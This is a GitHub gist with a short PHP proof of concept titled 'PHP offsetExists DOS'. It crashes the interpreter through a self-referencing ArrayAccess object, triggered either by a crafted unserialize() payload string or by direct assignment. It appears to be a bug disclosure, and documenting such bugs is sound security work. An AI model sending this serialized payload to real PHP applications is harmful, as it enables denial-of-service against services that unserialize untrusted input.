Skip to content

Instantly share code, notes, and snippets.

@dsadyrin
Created May 13, 2022 08:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dsadyrin/1de2b80395ce737ad9a48315087db041 to your computer and use it in GitHub Desktop.
Save dsadyrin/1de2b80395ce737ad9a48315087db041 to your computer and use it in GitHub Desktop.
PHP offsetExists DOS
<?php
class Obj implements ArrayAccess {
public function offsetSet($key, $value) {
}
public function offsetGet($key) {
}
public function offsetExists($key) {
return isset($this->data[123]);
}
public function offsetUnset($key) {
return;
}
}
class A {
function __destruct() {
empty($this->config['username']);
}
}
unserialize('O:1:"A":1:{s:6:"config";O:3:"Obj":1:{s:4:"data";R:2;}}');
//If you don't consider code with unserialize function call as security issue, use the code below to trigger the bug.
/*
$x = new Obj;
$x->data = &$x;
$o = new A();
$o->config = &$x;
*/
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment